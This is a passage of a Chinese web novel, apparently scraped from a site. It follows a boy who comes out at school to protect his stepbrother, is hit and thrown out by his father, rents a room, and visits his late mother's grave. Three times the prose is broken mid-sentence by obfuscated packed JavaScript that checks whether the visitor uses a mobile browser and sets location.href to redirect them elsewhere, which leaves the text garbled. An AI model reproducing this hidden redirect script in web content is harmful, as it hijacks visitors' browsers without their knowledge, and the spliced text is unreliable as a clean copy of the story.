人群再次喧哗,李斯年只顾自己说完,转身大摇大摆的往楼梯上走,一个拐角上二楼,正好看到走廊边的许之。 二人四目相对,李斯年眼睛闪着无辜又坦荡的光芒,冲许之咧嘴一笑。 许之瞬间脑子嗡的一热,大跨几步,将人拽进了卫生间,反手锁上门,挨个检查了隔间都是空的,才又回到李斯年面前。 “疯了吗?”许之压低声音,不可置信道,“你知不知道自己在做什么?!” “知道啊。”李斯年耸耸肩。 他好像总有本事把惊世骇俗的事情做成理所当然:“这样一来,许贺亮就没办法再用这个来威胁你了。” 许之整个人怔在原地,双眼微微睁大,他鲜少有这样近乎可爱的表情,李斯年看着,心情忽然变得愉悦起来。 “怎么样?我这个法子很不错吧?”李斯年挑眉问。 许之嘴唇微张,又不知从何说起。 昨天李斯年说“一起想办法”时,许之只当是冲动许诺,他怎么都没想到,对方竟然真的会付诸行动。 和许之相比,李斯年当然是更具重量级的风云人物。 李斯年先将同学、老师还有李宇的矛头吸引到自己身上,就算许贺亮之后再说许之是同性恋,首先是会被李斯年这一出搅和的可信度降低、再者第二个同性恋总没有第一个那么引人热议了。 许茜也许会把许之送去矫正中心,但李宇绝对不可能让李斯年去。 李宇这样的人要脸面,家丑不可外扬,这件事发展到最后,最大的可能性就是李宇找公关息事宁人,将一切包装成“青少年猎奇乱说话”。 而这样的安排自然是会惠及许之的。 可是……为什么要为了他,做到这个程度? 他们根本连朋友都算不上。 “先说在前面,我真不是在同情你啊。”李斯年见许之欲言又止,想起李糯糯昨天说的那些话,怕他还在介意,赶紧解释,“就、就是……” “心疼”这个词,男生对男生讲太矫情了,但李斯年找不到其他合适的词汇概括心情,只好转移话题:“反正啊,这件事我罩你!要是那个许贺亮还敢来找你麻烦,看我不叫人给他头上套个麻袋再拉进黑灯瞎火的巷子里胖揍一顿!” 越说越没谱了,许之一边听着,抿紧的唇倒是渐渐松懈下来,从昨天到今天紧绷的情绪,也被李斯年这几句插科打诨给抚平。 李斯年看在眼里,心中也松了口气。 “可是你爸知道了要怎么办?”许之担心道。 这些李斯年早就想好了,摆手让许之不用担心:“李宇估计要闹一阵,总之,你只需要装傻并置身事外,他不说,你不知,他一问,你惊讶,怎么会,好神奇……懂了吧!” 许之听得一愣一愣的,下意识点头:“他会怎么闹?” 李斯年笑,拉开门栓往外走:“极尽所能彰显他的威严呗,总之,我见得多了,你不用担心,别说漏嘴就行!” 14. 维护 当天晚自习结束,照例是江叔接二人回家。 门一开,许之就敏锐的察觉到家里氛围不同。 屋里明显有人、但除了呼吸声之外,什么动静都没有,安静得可怕,一种无形的压力充斥其中。 他抬眼看了看李斯年,对方却跟没事人一样,换了鞋往里走。 走过玄关,只见客厅内亮着一盏灯,李宇背对着玄关,坐在沙发上,许茜陪在他身边。 “你过来。”李宇声音明显压着怒,像是火山爆发前令人不安的低沉震动。 李斯年脚步一顿,还是走了过去。 许之跟在他身后,二人才走到茶几旁,刚刚站定,李宇噌得一下起身。 啪! 他甩了李斯年一个响亮的耳光。 李宇从前当过兵,手劲极大,李斯年面上立刻就肿起来充血的手掌印,从脸侧蔓延到下颚。 许茜捂住嘴,发出惊呼,许之也愣住了。 在许之的印象里,李宇总是和蔼可亲的模样,说话时也常常弯着眼角,尽管有高位者的威严在,但并不会让人感到过分的锐利和压力。 他以为李宇会先问李斯年是怎么回事,但没想到他直接动了手。 李宇一脸愤怒,抬手还要再打,许之想去拦,但李斯年动作更快,横臂就挡住了李宇的手。 “逆子!”李宇另一只手去拽李斯年的手臂,用了些力,却发现根本拉不动对方,他错愕抬头,对上李斯年一双黑如深潭的眼眸。 从什么时候开始,儿子已经比自己要高了?年轻的眉眼里隐隐透出自己曾经的模样,但细看却又毫无痕迹。 李宇心中更气,他还没老到叫自己生出来的兔崽子骑在头上! 李宇愤哼出声,猛然发力,狠狠推向李斯年肩臂,李斯年向后踉跄几步,忽然靠到实处,是许之扶了他一把。 许茜这才回过神来,赶紧把李宇往回拉:“有话好好说嘛,父子之间,别动手啊!” “我没他这么个儿子!”李宇嗓门中气十足。 “别这么说。”许茜极力安抚,一边示意李斯年,“斯年啊,好好跟你爸解释一下啊……” “解释什么?喜欢男还是女,是个人选择,我碍着谁事儿了?”李斯年说。 “你是不是故意的?”李宇显然认为李斯年的所作所为都是为了气他、跟他对着来,“是不是明天就要去杀人放火啊?!” “随你怎么想。”李斯年耸耸肩,转身要走。 “好、好!”李宇怒极反笑,“你他妈的这么些年吃我的、喝我的、用我的,我花这么多钱,倒养出个仇人来了?!你这么硬气,今天就滚出这个家!” “老李,你……”许茜一惊,还想再劝,李宇抬手一挡示意她闭嘴,许茜为难的看了看二人,最终还是没有继续开口。 李宇指着大门:“现在就滚!” 许之深呼吸,正想要走上前去,李斯年的手突然按在了他的小臂上,微微用力。 他开口,声音冷如寒霜:“这是我妈的房子,你有什么资格叫我滚?” 李宇从鼻腔内发出不屑的哼声:“你妈?!这房子是我当年全款买的,写的是两个人的名字!” “行,那你把房子卖了,分我一半钱,我就走。” 李宇发出一声冷笑:“李斯年,我还以为你多有本事。你妈活着的时候天天为你操碎了心,人走了,还要给你善后是吧?没了父母,你、算、个、屁!” 父子之间仅有的了解用在了最不合适的地方,李宇太知道什么话最剜李斯年的心窝子了。 他丝毫没有顾及到这不是父亲能对儿子说出口的话,被愤怒冲昏头脑的李宇此刻就像是一个獠牙毕现的猛兽,双眼发红,失去了所有理智。 谁忤逆他,谁就是要被撕碎的敌人。 果然,李斯年听他说完,原本平静的呼吸骤然乱了,许之甚至能感觉到按在自己小臂的那只手在微微颤抖。 李宇看到儿子这模样,眼中闪过得意的神色。 仿佛此刻李斯年是不是同性恋已经不再重要,他在乎的不是管教和训诫,而是看到对方全面溃败、夹着尾巴落跑的模样:“想要分一份遗产钱?没问题啊,你等我死了,现在免谈!” 李斯年的脸色很差,沉的仿佛要滴出水来,就在许之以为他要做出什么过激举动时,忽然感觉到按在自己小臂上的那只手懈了劲,松开来。 他开口,声音平静而寒冷:“好啊,那就等你死了再说,不急。” 话说完,转身快步上了楼梯,许之刚追上去,就见他拉着一个行李箱出来。 李倾诺原本已经睡了,被这阵动静惊醒,带着一脸没睡醒的困倦,拉开卧室的门。 “哥,怎么了……” 李斯年停下脚步,揉了揉李倾诺的头:“乖乖的,有事给我打电话。” 李倾诺懵懂的点点头,直到看到他提着行李箱下楼到一半时,陡然清醒过来,追了上去。 她连拖鞋都没穿,光脚踩在木质台阶发出声响,着急道:“哥,你要去哪啊?” 李斯年回过头,把自己的拖鞋褪下,让妹妹穿上:“一时半会说不清楚,你明天还要上课,快回去睡觉。” 李倾诺看了一眼客厅内,李宇坐在沙发上生闷气,许茜投来不安的目光,于是大概明白是怎么回事,瞬间眼睛就红了。 她委屈巴巴地抱着李斯年的手臂,哽咽道:“你也不要我了吗?” “我没有——” “那我想跟你一起走!” “不行。”李斯年斩钉截铁。 “我就要!”李倾诺哇的一声哭了出来,“为什么?妈妈走了,你也要走……” 李斯年的心一下子揪了起来,他做事向来我行我素,觉得就算天塌下来了大不了被压死,但他不想牵连别人伤心。 许之在旁边看了半刻,突然上前一步,蹲下身来,对李倾诺说:“今天你先待在家里,等之后有时间,我带你去看他,怎么样?” 他目光里透着认真,声音轻柔,很能安抚人心。 李倾诺本身就喜欢这个新来的哥哥,平常想要接触、说个话都很难有机会,此刻被这么一劝,倒是愿意安静下来好好沟通。 她吸了吸鼻子,声音嗡嗡的:“你、你说真的?” 许之点头:“拉钩?” 他伸出小指,李倾诺看了看李斯年,又看了看他,最终也伸出手,两个小指轻轻一勾,许下约定。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401226|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “现在先回房间吧。”许之说。 李倾诺“嗯”了声,又对李斯年说:“那你一定要随时都接我的电话哦。” “好,我答应你。” 李倾诺这才一步三回头地上楼梯,进了卧室。 李斯年松了口气,提上行李箱继续走下楼梯,李宇并不搭理他,只有许茜跟到了玄关处。 她压低声音,似乎怕激怒了李宇:“斯年啊,你爸爸就是这个性格,你也知道,气头上谁都拉不住,但他终究还是为你好的。” 李斯年不吭声,只是低头系好鞋带,打开门,往外走。 许茜追了上来,慌忙的掏口袋,最后拿出几张红票子,要塞给李斯年:“你找个正经酒店睡一夜,我好好劝你爸,父子有什么隔夜仇呢?等他气消了,我和你说,就赶紧回来。” 李斯年摇头,推开没接,他当初决定要这么做时,就已经想到了李宇会是什么反应、最坏是什么结果。 许茜的手尴尬停在半空,伸也不是、缩也不是。 李斯年径直往外走,许之很快就追了上去,许茜一喜,正好把钱塞给了儿子:“快帮忙劝劝哥哥!找到住处,给妈妈发个短信啊。” 许之脚步一顿,将钱塞进口袋,继续追去。 几近后半夜,小区内非常安静,天空没有什么云,月光清亮,尽管路灯已经尽数熄灭,小道与两边的草木仍然清晰可辨。 “真的要走吗?”许之问。 李斯年侧过头,月光勾勒出他英俊的侧轮廓,刚才那场激烈的争吵仿佛从未发生,他此刻的表情很平和:“是啊,话都说到那份上了。” 许之小跑两步,与李斯年并肩:“那你之后住哪里?” “育德附近出租的单间一抓一大把。” 许之看到过路边的小广告:“那边的租金很贵。” 李斯年从兜里掏出一张银行卡:“你太小看我这个富二代了吧!虽然李宇肯定会停掉我所有的卡,但没关系——”他神秘兮兮的一笑,“这是我的私房钱,他不知道。” 这张卡是郑秀在李斯年幼时就给办了的,里面是李斯年从小到大的压岁钱。 郑秀的教育理念是从小就培养规划用钱的习惯,再加上李斯年每个月也会有零用钱,所以就算平日里花得有点大手大脚,也还是余下了不少。 许之近乎无声的叹了口气:“你真的不需要为我做到这个程度。” “我想做,所以就做了,你别有心理负担。” 许之知道,李斯年就是这样肆意的性格:“但是……” “因为我觉得你挺好的。”李斯年打断道。 “什么?”许之错愕。 “你宁可自己少吃,也要买猫条,舍不得流浪猫饿肚子,而且成绩也很好,以后肯定会考去非常厉害的大学,前途无可限量。这样的人,不应该被那种渣滓牵绊住脚步,不是吗?” 李斯年说得很认真,眼尾自带三分笑意,亮亮的,仿佛洒满了星光。 许之从小到大,都很少起贪恋的心思,因为他知道,自己能拥有的东西不多,那些美好的事物,从来都与他无关。 但这个瞬间,许之忽然想,要是能一直看到这双眼睛,该是多么好的事情。 15. 租房 当天晚上,李斯年在育德附近找了个小旅馆暂住。 考虑到许之如果这时候回去,估计少不了被许茜询问,于是李斯年干脆开了个标间,叫许他也在这里凑合一晚得了。 李斯年虽然从小过着养尊处优的生活,但并不娇气挑剔,简单冲了个凉,躺到床上,很快就睡着了。 小旅馆的房间靠路边,许之看着天花板,听到李斯年呼吸声渐渐趋于平缓。 路上偶尔有车驶过,灯光透过窗,在天花板映出转瞬即逝的光痕。 这两天发生太多太多事了,许之这一颗心忽上忽下,以至于此刻还觉得非常不可思议。 原来有人兜底是这种感觉,哪怕坠落悬崖,也不害怕粉身碎骨的疼痛。 他很想对李斯年认真说声谢谢,但又心知一句话或买个礼物都不足以表达万一。 一直思索到困倦,许之也没有得出什么好法子。 他什么都没有,除了会做题。 但李斯年成绩也好,用不着他辅导…… 就这样想着想着,不知何时迷迷糊糊睡了过去。 - 次日,二人按部就班上学。 走进校门后,许之能明显感觉到一路上多了太多打量目光,看来李斯年在育德的名气真不是吹得,那些目光有好奇、有不屑、有嫌恶,还夹杂着低声的指指点点。 许之心中有些沉重,侧头去看李斯年的表情,却见这人如往常一样单肩挂着书包,目不斜视地大步向前走,完全不在乎旁人。 在察觉到他的担忧后,还回头安慰了一句:“别管他们。” 然而学校发生这种事情,肯定是会惊动老师的,大课间,老董头神色复杂地走进教室,把李斯年薅去办公室,苦口婆媳说了一大箩筐“把心思放在学习上”之类的话。 可是毕竟李斯年并没有真的和哪个男生谈恋爱,只是在拒绝一个女生时坦白了自己的取向。 未雨绸缪的事做不了太多,再加上当事人态度良好,说什么都是连连点点头,老董头最后也只能连声叹气着,又把李斯年送回了教室。 第四节音乐课,老师在讲台放着歌舞电影,李斯年照常趴下,酝酿睡意,却察觉到一旁有人不住侧目,投来探寻的目光。 李斯年“啧”了声:“有屁快放。” 方行舟一只手放在桌下抽屉里,拿着手机,界面正是育德的贴吧。 他是贴吧里的灌水大神,去年还混成了小吧主,这也是他能得到各种八卦和一手消息的原因之一。 “我说……你真喜欢男的啊?”方行舟自认为和李斯年关系很不错,竟然也被蒙在鼓里,心里别提多憋屈了。 “真的。” “不是,你高一明明追肖宁枝追了大半个学期,最后被拒绝还伤心得一暑假没打游戏,我当时都不敢问你,怕触及情伤……可你怎么现在突然就喜欢男的了?”方行舟问。 “怎么都说我追过肖宁枝啊?!”李斯年莫名其妙,“这谣言的始作俑者不会就是你吧兄弟?” 高一刚开学那段时间,还没到正式竞选班委的时候,老董头随手点了当时坐在第一排正中央的肖宁枝代行班长职责。 那段时间,什么杂活累活都归她,包括但不限于值日表、统计各科作业的收取发放情况、出主题黑板报等。 初升高,班上学生都是打乱了重组的,大多互相不认识,只有李斯年和肖宁枝初中是一个班的,肖宁枝自己忙不过来,就来拜托李斯年帮忙。 的确,叫一个小女生每天上下楼七八趟搬卷子、习题册、抬着个半人高的梯子垫脚画黑板报,是有点太吃力了,李斯年便好心答应帮她。 过了一段时间,班委陆续选出,肖宁枝自愿放弃所有职位,她不用做这些活儿了,李斯年自然也就不用再帮她了。 只是没想到,短短一个暑假过去,到了高一下学期,“李斯年苦追肖宁枝无果,忍痛放弃”的流言就开始流传,越传越过分。 “忍痛放弃”这部分最后还扩展演变成“深夜爆哭版”和“雨夜小区楼下手捧玫瑰求和版”。 但李斯年向来懒得解释这些,就像此刻他也没想要和方行舟细说那个暑假之所以没打游戏,是因为被坑哥的李糯糯拉去参加了个“农耕之乐”夏立营,不仅被没收手机,还在浓烈的太阳底下种了一暑假的黄瓜茄子西红柿。 “那我知道了!”方行舟自行深思熟虑后,脸上出现恍然神色,“你是双性恋。” 李斯年无奈地笑:“你开心就好。” “没关系,无论怎么样,我们都是好兄弟。”方行舟安慰的拍了拍李斯年,手顿了一秒:“你、应该不会喜欢上我吧?” 李斯年拍开他的手,笑骂:“你他妈的够了。” 歌舞电影放完,老师开始带着同学们跟谱唱音,学电影里的一首歌。 不知是不是六班学生们的天赋都点在了应试上,五音不全的格外多,老师教得艰难、大家唱得艰难。 李斯年入睡得也很艰难。 “我算知道什么叫魔音绕耳了。”他揉了揉眼睛,干脆放弃在音乐课睡觉这件事。 方行舟也不爱唱歌,正浑水摸鱼刷贴吧,忽然看到了什么东西:“诶,有人发帖说许之也是同性恋诶!”说着转过头问许之,“真的假的?” 李斯年心头一紧,跟着回头看去,许之反倒像个没事人,写着卷子,头也不抬,漫不经心道:“假的。” 方行舟本就是随口一问,许之否定后,他就断定这个帖子是无聊者跟风开的玩笑:“我就说嘛,这年头,同性恋难道是什么时尚单品?昨天他是,今天你是,明天说不定我也是了。” 毕竟许之在力压李斯年成为年级第一、又传出捅老师的传闻后,从此得以华丽丽的跻身同学们心中的育德风云人物榜。 贴吧里隔三差五就有关于他的帖子,大多都是一些偷拍,还有关于他各种小道消息的揣测和争论。 而这个年纪的初高中生,最是听风就是雨,楼虽然盖的高、靠谱的却往往没几句。 李斯年拿过方行舟的手机看,那篇揭露许之是同性恋帖子的正文内容还不少,好几大段文字,说得有鼻子有眼。 大概是许之原生家庭导致性格扭曲、取向变态,只喜欢和男的混在一起,以勾搭年长者和有对象的人为乐,好学生皮囊下藏着伤风败俗的肮脏灵魂等等。 id是匿名隐藏的,但李斯年一看就知道是许贺亮的手笔,这字里行间PUA的风格,和他那天在杂物间威胁许之的话如出一辙。 还勾搭年长者,这个败类到底在夹带私货意淫些什么啊?! “这算诽谤侮辱了吧,我们敬爱的小吧主?”李斯年将手机递回。 方行舟点头,向许之发出正义凛然的霸总言论:“许之你放心,这个帖子我立马给安排删掉!” “啊……谢谢。”许之说 “嗐,好哥们的哥们就是我的哥们,说谢就见外了!”方行舟笑着说。 他脑子很活泛,最初叫李斯年防着许之凶性大发的是他,但后来见李斯年和许之关系如旧,丝毫没有回避的意思,大概也就明白了,这中间估计有自己不知道的内情。 那李斯年都选择相信的人,他自然也没什么好再怀疑介意的。 “这人写了一大堆,刚发贴几分钟就被删了,肯定不甘心,还要再发的。”李斯年暗戳戳地提醒。 “放心。”方行舟拍着胸脯,“我叫人盯着,发一个删一个!” 李斯年咧嘴一笑:“好家伙,等下请你吃雪糕!” 其实这事轮不到李斯年谢他,但方行舟神经大条,没多想:“你这话说的,我难道是为了贪你个雪糕才做的么?——两根!” “我包你一周好吧,只要你别闹肚子。” “那不会,我是钢铁肠胃。” 许之默默看着二人讲话,没再插嘴,又低头开始写卷子。 李斯年真的是一个极其聪明的人,许之想,他这招“自我承认”妙就妙在主动自爆,无可否认,但许之却是被造谣的,可以否认。 这让许之的秘密得以被彻彻底底保护在李斯年制造的“真相”之下,变成一个“舆论”。 - 晚自习结束,李斯年还准备去小旅馆凑合一夜,得等到周末才有时间去找租房。 不料才走到小旅馆门口,就看到许之拖着他早上寄存在店里的行李箱走来。 “去哪啊?”李斯年问。 许之没说话,只是朝着大路对面扬了扬下巴。 他做这个动作时很好看,下颚线弧度顺畅、清晰分明,连带着舒展的眉眼都叫人赏心悦目。 李斯年“嗯”了一声,没再多问,跟着他过了马路,走进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“许茜不给你生活费吗?到高三了还要打工,而且我看你每天就吃些红薯玉米,根本吃不饱啊。” 许之抬眼看向他,目光像是在问:你怎么知道我每天吃这些? 李斯年怕又被认为是变态,赶紧找补:“全班每天就你自带餐盒,不去食堂,想不注意都难,不过我也就随口一问……” “我不想用她的钱。”许之轻轻开口。 “啊,这样。”这话不好接,李斯年原以为相依为命的母子俩关系会很密切,但听起来似乎内有隐情,不过既然许之没打算展开说,那他也就不追问了。 二人沉默片刻,李斯年又说:“可是这押一付三的钱还是太多了……要不我出一半怎么样?反正都是我住,你又不住。” 许之还是摇头:“不用。” 李斯年目光落到他还缠着绷带的右手上,想起大热天许之在臭烘烘的垃圾站处理废品的样子,心中还是过意不去。 六千块,说多不多,连李斯年每年压岁钱的零头都够不上;但说少也不少,许之打那些苦力零工,得攒多久才能攒够啊。 小少爷头一次领悟到,同样是这么多钱,分量却可以很不一样。 “你知道的,我们这种富二代,钱多的没地方花。” 李斯年尽量让自己的语气听起来是在轻松逗乐,“和你辛辛苦苦赚来的钱完全不能比,你就不要替我心疼了,明天我还是把房租给你。” 许之不想和他掰扯这件事,眉头一皱:“你到底住不住?不住就去睡马路。” 差点忘了,洋葱外表看上去再怎么光滑无刺,内里还是辣的,李斯年摊手妥协:“别生气啊,我住、我住就是了!” 时间已经不早,见李斯年安顿好,许之便回去了。 房间里只剩下李斯年一个人,瞬间就安静下来,陌生感后知后觉的爬上心头。 李斯年将行李箱打开,他出来得匆忙,没带太多东西,除了必要的换洗衣物和充电线,还有挂在卧室门把上的小木铃。 出租屋的门把手是圆的,挂不上去,李斯年环顾四周,最后将小木铃挂在了床头一侧。 简单洗漱后,他拿了件衣服暂时垫在床垫上,掏出手机,背靠床头,用备忘录上罗列需要采买的东西。 洗漱用品、四件套、被褥、衣架…… 李糯糯的微信对话框忽然弹出。 糯糯:哥,周四一起去墓园吗? 李斯年打字的手指顿了顿,点开了聊天界面。 SN:嗯,我十点来接你。 16. 忌日 许之从出租屋回到家,时间比往常晚了点,走过玄关,客厅竟然还亮着灯。 许茜看到他回来,立刻从沙发起身,殷勤的去厨房端来今晚的夜宵,柔声道:“晚自习拖堂了?” 许之有些奇怪,她平时并不会这样和自己闲聊,还是在大半夜。 见他不讲话,许茜又问:“你哥哥这段时间住哪?” “我也不知道,我们不太熟。”许之说。 许茜眉头微皱,她看起来比实际年龄要年轻不少,生活的磨难并没有在她皮囊上留下什么痕迹,许之的容貌是像她的,可想而知许茜是怎样一个美人。 她叮嘱道:“你还是和哥哥处好关系,以后日子还长呢。有机会多关心关心他,毕竟都没成年,哪能一直一个人住在外面呢。” 许之心下涌起一股厌烦,许茜对李斯年的关心明显是浮于表面的,恐怕是做给李宇看的。 自己从幼儿园就开始住宿舍,从来都是一个人住在一群陌生人里,那时怎么没见许茜觉得不合适? “知道了。”许之敷衍道。 见许茜不再接话,许之转身,刚要上楼梯,她却忽然又开口。 “那个……” “你有什么就直说。”许之说。 他知道,许茜肯定是有话要说,前面关于李斯年的部分只是开场白,否则她不可能专门大半夜等着自己回家。 “我收到一条陌生号码的短信……” 许茜眼神有些闪躲,似乎是难堪、又似乎是逃避,飘忽了会,最后才看向许之,“说你是、是……可能对女生没什么兴趣,是真的吗?” 她隐去了同性恋三个字,像是烫嘴一般,似乎换个说法就能得到些许体面。 许之心下冷笑,他早该想到,许贺亮怎么可能只发贴吧呢?他得确保许茜能知道这件事。 他对上许茜的目光,装作疑惑:“什么意思?我没太懂。” 许茜支支吾吾一阵:“就是……你喜欢男的吗?” 许之震惊:“怎么可能?!我从来没想过这些事,我只想好好考上大学。” “真的吗?”许茜上前几步,抓住许之的肩膀,死死盯着他的眼睛,仿佛这样就能确认他说的到底是不是谎话。 这是许茜的习惯性动作,许之很熟悉。 许茜的眼型与许之类似,弧度圆润温和,只是许茜的眼角更狭细,动怒时也显得更尖锐。 许之从她瞳孔之中看到自己的倒影,此刻他的表情是毫无漏洞的,不解之中还有些许被冒犯的愤怒。 但在曾经很长一段时间里,这双瞳孔映出的都是许之惊恐的脸。 许茜生下许之后的几年里,一直找不到合适的工作,靠着过去的积蓄生活,在许之上幼儿园之后,她终于有事可做了,只是需经常在外出差。 只有周末回来时,才会把许之从寄宿学校接到家里。 许之一开始是天天盼着这天的,毕竟孩子是天生就依赖和眷恋母亲。 但不过多久,许之就发现,重回职场的许茜不知何时养成了酗酒的习惯,醉后,就会把他认作那个杀千刀的负心汉。 她抓着他质问,为什么抛弃她、为什么骗她,将那个男人带给她的所有委屈和愤怒都泼洒在他身上。 偶尔回过神来,又会说许之是个累赘,若不是月份大了医院不给引产,她根本不用做受人指指点点的单亲妈妈。 “我赚钱都是为了你啊!”她常常歇斯底里说着这句话,然后又愤恨的接上一句,“我凭什么要为了你这么累!” 许之那时年纪还小,不懂自己做错了什么,只能含糊着在哭声中道歉:“我不买新书包,也不买新衣服,我可以吃很少……隔壁吴婆婆捡垃圾桶里的瓶子,那个可以卖钱,明天我也去!” 但这些话解不了许茜的愁,许之在后来才明白,许茜怨恨的是一个无法改变的过去,而自己注定是一个错误的产物。 每当许茜次日酒醒后,看到许之身上的伤痕,又会愧疚难当,在离开时,塞给他更多的零花钱。 但其实许之从那时起,就不再用许茜的钱了—— 如果这是她的赎罪,那么他也没有必须成全的义务。 尽管许茜大概也不会有机会知道儿子这样沉默的对抗和疏离。 “你发誓,你说的是真的。”许茜声音发紧,再次确认:“许之,你不能骗妈妈。” 许之忽然从心里生出一种荒诞又可笑的感觉——他是不是同性恋难道有那么重要? 许茜在很多时候的所作所为似乎根本不在乎他这个儿子的死活,但在这个问题上又一反常态,表现得像是个无比关心孩子的母亲。 大人心里那杆秤到底是用什么来衡量的、又是用来衡量什么的? 有那么一瞬间,许之想要破罐子破摔,质问她,在更早的时候,自己最初对于性向感到困惑、想要找人聊聊的时候,她人在哪里? 冲动的话语到嘴边,脑海中却蓦的浮现出李斯年赤诚而明亮的双眼—— 他带着笑意的那句:怎么样?我这个法子很不错吧? 他面对李宇的怒火,将自己护在身后。 他被李宇打的那一耳光。 许之想,不能辜负对方为自己做的这些。 于是将汹涌的心情收敛起来,反问许茜:“短信里有什么确切的证据吗?” 许茜狐疑的看着他。 许之继续说:“你问我,我已经回答了。如果你宁可相信不知道谁发来的恶搞短信,我也没办法。” 他知道许贺亮手里没有证据。 而且如今,自己的眼睛已经学会说谎了,可以在动荡的情绪里保持平静,许茜终究还是什么都没看出来,只好将审视的目光收回。 她嘴角扯出一丝试图缓和气氛的微笑,但紧绷的内心仍然没有完全松懈,导致她上半张脸疑云重重、下半张脸假作微笑,看上去说不出的怪异矛盾。 “哎,你别怪妈妈,妈妈这也是关心你,你哥哥才闹出这茬没几天,要是你也……” 她说到这里,赶紧摆摆手,像是自问自答:“哪有这么巧的事儿,是吧!妈妈也知道,这种情况还是很少见的,肯定是我儿子在学校太优秀,被人嫉妒,恶意中伤!才会发这种无聊的短信。要是你在学校里被人欺负,一定要和妈妈说,知道吗?” 打一棍再给颗甜枣,多少年了,许茜的路数还是这样。 “嗯,那我还有作业,就先回房间了。”许之勾了勾嘴角,配合她饰演母子情深的戏码。 “好好好,那个宵夜的碗等下妈妈去拿,你安心学习!” 许茜一路将人送回房间,看着卧室门彻底关闭后,脸上的笑容渐渐消退,残存的怀疑落入眼底。 像是一颗种子埋进了土里。 - 周四这天,李斯年请了整天的假,比约定的时间提前半小时回到家。 李宇和许茜已经回庆城了,屋里恢复空旷静谧,李斯年原本想提前将木芙蓉包好、装饰一下,但进门就看到花已经被处理好放在茶几上了。 包的有点粗糙,外围漂亮的纸张略有褶皱、收束绑带上蝴蝶结还是歪的,一看就是在认认真真做不擅长的事情,是李倾诺的手笔。 听到动静,她人也从二楼下来了。 “哥,怎么样?你不在家,我每天换水,养的挺好吧?”李倾诺抱起木芙蓉。 李斯年深感欣慰,伸手揉乱了她梳理整齐的刘海:“是长大了。” 李倾诺白了他一眼,矮身往后躲,从兜里拿出小镜子重新打理,这个年纪的小姑娘,刘海是本体,乱了要命。 李斯年抱着花往外走,江叔的车停在外面。 虽然李宇吩咐过,以后谁也不准再管李斯年的事,但无论江叔还是赵婶,全是瞅着这兄妹俩长大的,这种时候都比李宇多几分不忍的心。 于是都睁一只眼闭一只眼,往常该做的,还是照做不误。 “哥,爸爸说的那些……是真的吗?”二人穿过花园间,李倾诺问。 李斯年点头:“嗯。” “那你现在住在哪?以后都再也不回家了吗?”李倾诺问。 “现在在学校旁租了个房子,以后……再说吧,反正明年就要高考了,上大学十有八九也是要去外地的嘛。” 李斯年说着,来到车门前,刚抬起手,就听到李倾诺轻声开口。 “其实你不是同性恋,许之哥哥才是,对吗?” 李斯年按在门把上的手上一顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401228|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他知道妹妹脑袋瓜很聪明,但能这么快猜到,还是有些惊讶。 他侧过头来,没过多解释,只是严肃的叮嘱:“答应我,要保密哦。” 李倾诺表情一时间有些复杂,像是有好多话想问,但下一秒李斯年就拉开了车门,属于兄妹之间的私密对话环境被打破。 她只好把疑问都咽回肚子里,说了声“好”,上了车。 - 墓园在江、庆两城交接的一处郊区。 今天是个大晴天,但入秋后的太阳已经没有那么浓烈了,李斯年抱着木芙蓉走在前面,李倾诺安静跟随。 经过一排上行的石阶,到达视野最开阔处,就是郑秀的墓。 墓碑与四周非常干净,碑前摆着茶水与糕点,明显是刚放上去不久。 “是爸爸来过了吗?”李倾诺问向一旁的工作人员。 对方恭恭敬敬的回答:“李先生今天有要事,无法亲自前来,是特地提前一周打电话来安排墓园准备的。” 李倾诺“哦”了一声,有些失望,李斯年心下不忍,对那人说:“这些撤下去。” 工作人员一愣:“您说什么?” “撤走。” 工作人员在这里工作了好多年,对李家父子不和的事情亦有耳闻,这俩他谁都惹不起,于是赶紧点头:“是,您亲自带来的物品,想必郑女士会更喜欢,这些我先收起来。” 工作人员走远,李倾诺转头冲李斯年笑了笑:“哥,没事,爸爸是大忙人,我也习惯了。” “是忙。”忙得亡妻忌日人都没空来一趟。 但正如李糯糯所说,李宇也不是第一次这样了,早些年李斯年还因此和他闹过。 但在李宇眼里,他日理万机,能记得日子并提前托墓园准备已经是心意到了,他说郑秀会体谅自己的。 这话说的,倒像是李斯年这个做儿子的不够明白亡母心意了,多歪的歪理。 李斯年知道李宇这么做,无非是觉得钱能弥补所有东西,若不能,那只是钱还不够多,他向来如此。 李斯年将木芙蓉放在碑前,李倾诺早就准备好了郑秀爱喝的鲜榨果汁,整整齐齐摆好,看着比刚才墓园准备的规范化扫墓用品要生动不少。 每年扫墓,李斯年话都不多,反之李倾诺则会絮絮叨叨很多事,想到什么说什么,像是唠家常。 到最后讲到口渴,从包里拿出多的一瓶果汁,和郑秀“干了个杯”,一饮而尽。 “中午回家吃吗?赵婶准备了你喜欢的菜。”离开的路上,李倾诺问。 “不了。” “为什么?”李倾诺追问,“自从你离家出走后,许之哥哥也再也不在家吃饭了,我一个人吃好无聊啊。” 